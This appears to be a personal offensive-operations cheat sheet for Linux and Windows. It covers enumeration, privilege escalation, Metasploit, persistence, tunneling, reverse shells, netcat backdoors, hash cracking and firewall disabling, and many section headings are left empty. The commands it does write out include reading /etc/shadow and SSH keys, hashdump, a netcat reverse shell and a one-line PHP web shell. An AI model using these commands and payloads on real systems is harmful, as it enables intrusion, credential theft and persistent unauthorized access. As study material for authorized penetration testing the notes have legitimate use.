Old Notes

ENUMERATION - SYSTEM, USERS, FILES, PROCESSES, SERVICES, TASKS, NETWORK INFO, RUNAS

System & User Information

Get System Info

Linux
Windows

uname -a && cat /proc/version

systeminfo

Get Current User

Linux
Windows

whoami

echo %USERNAME

Who's Logged On Currently

Linux
Windows

who -a

?

Get All Users On Machine

Linux
Windows

cat /etc/passwd

net user

Get All Groups On Machine

Linux
Windows

cat /etc/group

net localgroup

Get Password Hashes

Linux
Windows

cat /etc/shadow

fgdump.exe / meterpreter hashdump / kiwi

Does Current User Have Special Priv

Linux
Windows

sudo -l

whoami /priv

Get Current User's Command History

Linux
Windows

cat ~/.bash_history

doskey /history(resets w/ new cmd.exe)

Network Information

List Network Adapter Settings

Linux
Windows

ip addr show

ipconfig /all

Show IP Routes

Linux
Windows

netstat -r

netstat -r

Show All Listening Ports & Connections

Linux
Windows

netstat -anop

netstat -anop

Linux - Interesting Files / Places to Look

List Current User's Various History Files

ls -la ~/.*_history

Can I Read root's History Files

ls -la /root/.*_history

Check For Interesting ssh Files In Current User's Directory

la -la ~/.ssh/

Find ssh Keys /host Information

find / -name "id_dsa*" -o -name "id_rsa" -o -name "known_hosts" -o -name "authorized hosts" -o -name "authorized_keys" 2>/dev/null | xargs -r ls -la

Find SUID root Files

find / -user root -perm -4000 -print 2>/dev/null

Find SGID root Files

find / -group root -perm -2000 -print 2>/dev/null

Find SUID/GUID Files Owned By Anyone

find / -perm -2000 -o -perm -4000 -print 2>/dev/null

List Open Files

lsof

Search For Files & Within Results

find / "[string]" | grep "[string]"

View Running Services

ps -elf

Lookup Running Process Binaries and Permissions

ps -aux | awk '{print $11}' | xargs -r ls -la 2>/dev/null | awk '!x[$0]++'

Open Crontab for Editing

crontab -e

Display All Scheduled cron Jobs

ls -la /etc/cron*

Windows - Interesting Files / Places to Look

Get Owner of Directory

dir [location] /Q

Get Permission of Location/File

icacls [location]

Find Client-Side Programs

dir /s /b "C:\Program Files\*.exe"

Lookup Common Startups

Run Command As Another User

runas /savecred /user:[hostname]\[user] "CMD.EXE" /K [command to run]

Search For Files & Within Results

dir "[string]" /s | find "[string]"

View Running Processes

tasklist /SVC

Query Status of Services

sc queryex

Other Service Controls

sc[option] start, stop, config, qc (config info)

Schedule a task

schtasks /create

Display All Scheduled Tasks

schtasks /query /fo LIST /v

METASPLOIT, PROXYCHAINS, SOCKS4A, MSFVENOM, WINDOWS & UNIX PERSISTENCE

METASPLOIT

Search [options]

Using A Module

Using A Payload

Manage Sessions & Jobs

Using multi/handler

Used to listen for callbacks

Routes

Used to 'pivot' through a compromised system

Proxychains & SOCKS Proxy

Modules Used in Practice & Ports

Privalege Escalation Module

MSF Notes

Recommend trying reverse_tcp shells first, if unsuccessful, try a bind_tcp

Meterpreter

Commands

Meterpreter Persistence - Windows

MSFVENOM

Creating a Payload

Can use any payload from MSF Use MSF multi/handler to catch call backs - ensure to use same payload as MSFVENOM

UNIX Persistence

crontab Persistence

Using MSFVENOM or shell script with netcat nc, set cronjob to execute every X minutes

UNIX Persistence - MSF Modules (not all tested)

UNIX Persistence with /etc/init.d/

Scripts placed within this directory could add persistence if configured

WINDOWS Persistence

SCHTASKS

Listen for callback of configured payload See Meterpreter section for more Windows options

SSH TUNNELING, NETSH FORWARDING, UPGRADE BASIC SHELLS, REVERSE SHELLS, NOTES, BASIC SCRIPTS

SSH Tunneling / Port Forwarding

SSH Forward Tunnel

SSH Reverse Tunnel

Windows netsh Port Forwarding

Python Priv Esc

Ways to Upgrade a Basic Shell

Reverse Shells

Python Rev Shell

Perl Rev Shell

php Rev Shell

ruby Rev Shell

netcat Rev Shell

Send Email Commands

netcat Batch Script (backdoor)

would use schtasks to run this

netcat Bash Script (backdoor)

would use cronjob to run this

Enable Auto-Complete (Unsure functionality works)

Notes to take during Ops

SAMBA, WEB SERVER, STEG, FIREWALLS, NETCAT, GET/CRACK HASHES, SNMP, CREATE USER, SCANS, U&E

Samba

Enumeration

Mount Remote Windows Share

Create a New User & Add to Group

Linux

Windows

Remote Desktop Access

Hydra RDP Brute Force

Meterpreter

In a Terminal...

Firewalls

Linux Firewall Info

View Rules

Clear Rules (need priv)

Windows Firewall Info

View Rules

Disable Firewall (need priv)

Working with Password Hashes

Retrieve PW Hashes with meterpreter

Crack Passwords and Hashes with john

ensure you read outputs from john, check formats

Crack Passwords and Hashes with Hashcat

netcat

netcat Connection

listener: nc -lvp [port] connect: nc [IP] [port]

netcat File Transfer

listener: nc -l -p < [filename] sender: nc -w 3 [dst IP] [port] > [filename]

netcat Banner Grabbing

netcat Reverse Shells

attacker: nc -lvp [port] target: nc -e /bin/sh [IP] [port]

If -e doesn't exist... attacker: nc -lvp [port] target:

SNMP

Web Server

Web Server to Transfer Files

Use wget to Return Information from Website

Enumeration of Website

php URL Mod Reverse Shell

script: <?php system ($_GET['cmd']); ?> append URL: ?cmd=[command] &

Stegonography

steghide

Scanning

nmap

nmap [options] [IP] -sV service/version info -Pn ignore host discovery -O OS guessing -sC run scripts -p ports IP Formats: 10.10.10.0/24 or 10.10.10.1,10,20 Port Formats: 80,135,445 or 1-1000

masscan

masscan [options] [IP] --rate speed to run (1-2.5mil)

pingsweep

sl.exe

sl.exe [options] [IP] -b port banners -v verbose

Last updated